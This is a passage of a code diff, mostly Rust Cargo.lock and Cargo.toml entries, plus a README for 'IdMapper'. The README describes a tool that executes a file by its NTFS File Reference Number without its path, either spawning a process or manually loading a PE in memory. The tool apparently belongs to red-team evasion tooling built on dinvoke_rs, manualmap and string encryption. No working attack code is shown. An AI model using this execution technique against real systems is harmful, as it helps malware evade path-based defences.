checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_core"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rustc-demangle"
|
||||
version = "0.1.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "56f7d92ca342cea22a06f2121d944b4fd82af56988c270852495420f961d4ace"
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "static_vcruntime"
|
||||
version = "2.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "954e3e877803def9dc46075bf4060147c55cd70db97873077232eae0269dc89b"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "1.0.109"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.111"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "390cc9a294ab71bdb1aa2e99d13be9c753cd2d7bd6560c77118597410c4d2e87"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "synstructure"
|
||||
version = "0.12.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f36bdaa60a83aca3921b5259d5400cbf5e90fc51931376a9bd4a0eb79aa7210f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"unicode-xid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.22"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-xid"
|
||||
version = "0.2.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.1+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
|
||||
|
||||
[[package]]
|
||||
name = "widestring"
|
||||
version = "0.4.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||
dependencies = [
|
||||
"winapi-i686-pc-windows-gnu",
|
||||
"winapi-x86_64-pc-windows-gnu",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi-i686-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||
|
||||
[[package]]
|
||||
name = "winapi-x86_64-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580"
|
||||
dependencies = [
|
||||
"windows-collections",
|
||||
"windows-core",
|
||||
"windows-future",
|
||||
"windows-numerics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-collections"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.62.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-link",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-future"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
"windows-threading",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.60.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.59.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-numerics"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-strings"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-threading"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winproc"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "979e07b33c6af27e5c454e42d1b946b403ec222e7bad52ef020820708e087b25"
|
||||
dependencies = [
|
||||
"bitflags 1.3.2",
|
||||
"failure",
|
||||
"widestring",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy"
|
||||
version = "0.8.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fd74ec98b9250adb3ca554bdde269adf631549f51d8a8f8f0a10b50f1cb298c3"
|
||||
dependencies = [
|
||||
"zerocopy-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy-derive"
|
||||
version = "0.8.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d8a8d209fdf45cf5138cbb5a506f6b52522a25afccc534d1475dad8e31105c6a"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.111",
|
||||
]
|
||||
@@ -0,0 +1,11 @@
|
||||
[package]
|
||||
name = "id_mapper"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
creator = {path = "creator"}
|
||||
litcrypt2 = "=0.1.2"
|
||||
|
||||
[build-dependencies]
|
||||
static_vcruntime = "2.0"
|
||||
@@ -0,0 +1,18 @@
|
||||
# IdMapper
|
||||
|
||||
`IdMapper` opens a file by its FRN (File Reference Number) and executes it without using its path. It is intended to be used after creating a `bindlink`, as described in the [BindLinks documentation](../BindLinks/README.md).
|
||||
|
||||
The tool asks for:
|
||||
|
||||
- **Mode**: `spawn` to create a new process from the mapped section, or `load` to map the PE in the current process and jump to its entry point.
|
||||
- **Volume**: Drive letter, for example `C`.
|
||||
- **FRN**: File Reference Number in hexadecimal format.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin> id_mapper.exe
|
||||
Select mode (spawn/load): spawn
|
||||
Select volume (e.g. 'C'): C
|
||||
Insert FRN: 0x000300000019fa17
|
||||
```
|
||||
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
static_vcruntime::metabuild();
|
||||
}
|
||||
Generated
+800
@@ -0,0 +1,800 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "addr2line"
|
||||
version = "0.25.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1b5d307320b3181d6d7954e663bd7c774a838b8220fe0593c86d9fb09f498b4b"
|
||||
dependencies = [
|
||||
"gimli",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "adler2"
|
||||
version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "android_system_properties"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "backtrace"
|
||||
version = "0.3.76"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bb531853791a215d7c62a30daf0dde835f381ab5de4589cfe7c649d2cbe92bd6"
|
||||
dependencies = [
|
||||
"addr2line",
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"miniz_oxide",
|
||||
"object",
|
||||
"rustc-demangle",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "1.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
|
||||
|
||||
[[package]]
|
||||
name = "block2"
|
||||
version = "0.6.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cdeb9d870516001442e364c5220d3574d2da8dc765554b4a617230d33fa58ef5"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.2.54"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6354c81bbfd62d9cfa9cb3c773c2b7b2a3a482d569de977fd0e961f6e7c00583"
|
||||
dependencies = [
|
||||
"find-msvc-tools",
|
||||
"shlex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "cfg_aliases"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
||||
|
||||
[[package]]
|
||||
name = "creator"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"data",
|
||||
"dinvoke_rs",
|
||||
"litcrypt2",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"dinvoke_rs",
|
||||
"windows",
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37ea4847ec0d114fae274a228e2833c86b6a648e1e63d8e4824f8694ddb72c91"
|
||||
dependencies = [
|
||||
"cc",
|
||||
"dinvoke_data",
|
||||
"libc",
|
||||
"litcrypt2",
|
||||
"nanorand",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_data"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2ecf41e5fa8fc817a311b14a987da022bd09a048f27f039a6073241e514b6d81"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_overload"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "502bb57c39f39fc65ae58e4351013ef4cc9d29a0be245ac3d24b3b887f026636"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"windows",
|
||||
"winproc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_rs"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef4776f5b9e5d43bc5f897863bc9227979563a05a6cfdd05bc2a94e3cc510a7e"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"dinvoke_utils",
|
||||
"dmanager",
|
||||
"manualmap",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_utils"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "00c00029449d76f9db4104b2eb1ec122fb9127051803f567cd108e0c0d729719"
|
||||
dependencies = [
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dispatch2"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "89a09f22a6c6069a18470eb92d2298acf25463f14256d24778e1230d789a2aec"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dmanager"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "45e10972b361f6a0750f6767323e65030282429bb7b8a74f58af8a2a2708e7c3"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"rand",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86"
|
||||
dependencies = [
|
||||
"backtrace",
|
||||
"failure_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure_derive"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"synstructure",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "find-msvc-tools"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8591b0bcc8a98a64310a2fae1bb3e9b8564dd10e381e6e28010fde8e8e8568db"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "gimli"
|
||||
version = "0.32.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e629b9b98ef3dd8afe6ca2bd0f89306cec16d43d907889945bc5d6687f2f13c7"
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.180"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bcc35a38544a891a5f7c865aca548a982ccb3b8650a5b06d0fd33a10283c56fc"
|
||||
|
||||
[[package]]
|
||||
name = "litcrypt2"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4126aa57ac1b3dd20a5bc827a2972cdf74c619a4d6ae5660656408289e5bc60d"
|
||||
dependencies = [
|
||||
"lazy_static",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"rand",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.29"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "manualmap"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1ac5a950ad05bc0e1457e094c4787843b351901fe1511af38a6d95912dd157b1"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"os_info",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.8.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"
|
||||
dependencies = [
|
||||
"adler2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nanorand"
|
||||
version = "0.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3"
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.30.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"cfg-if",
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2"
|
||||
version = "0.6.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b7c2599ce0ec54857b29ce62166b0ed9b4f6f1a70ccc9a71165b6154caca8c05"
|
||||
dependencies = [
|
||||
"objc2-encode",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-cloud-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "73ad74d880bb43877038da939b7427bba67e9dd42004a18b809ba7d87cee241c"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-data"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b402a653efbb5e82ce4df10683b6b28027616a2715e90009947d50b8dd298fa"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-graphics"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-io-surface",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-image"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e5d563b38d2b97209f8e861173de434bd0214cf020e3423a52624cd1d989f006"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-location"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ca347214e24bc973fc025fd0d36ebb179ff30536ed1f80252706db19ee452009"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-text"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0cde0dfb48d25d2b4862161a4d5fcc0e3c24367869ad306b0c9ec0073bfed92d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-encode"
|
||||
version = "4.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33"
|
||||
|
||||
[[package]]
|
||||
name = "objc2-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"libc",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-io-surface"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-quartz-core"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-ui-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"objc2",
|
||||
"objc2-cloud-kit",
|
||||
"objc2-core-data",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
"objc2-core-image",
|
||||
"objc2-core-location",
|
||||
"objc2-core-text",
|
||||
"objc2-foundation",
|
||||
"objc2-quartz-core",
|
||||
"objc2-user-notifications",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-user-notifications"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "object"
|
||||
version = "0.37.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff76201f031d8863c38aa7f905eca4f53abbfa15f609db4277d44cd8938f33fe"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "os_info"
|
||||
version = "3.14.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e4022a17595a00d6a369236fdae483f0de7f0a339960a53118b818238e132224"
|
||||
dependencies = [
|
||||
"android_system_properties",
|
||||
"log",
|
||||
"nix",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
"objc2-ui-kit",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||
dependencies = [
|
||||
"zerocopy",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.106"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.44"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.3.1"
|
||||
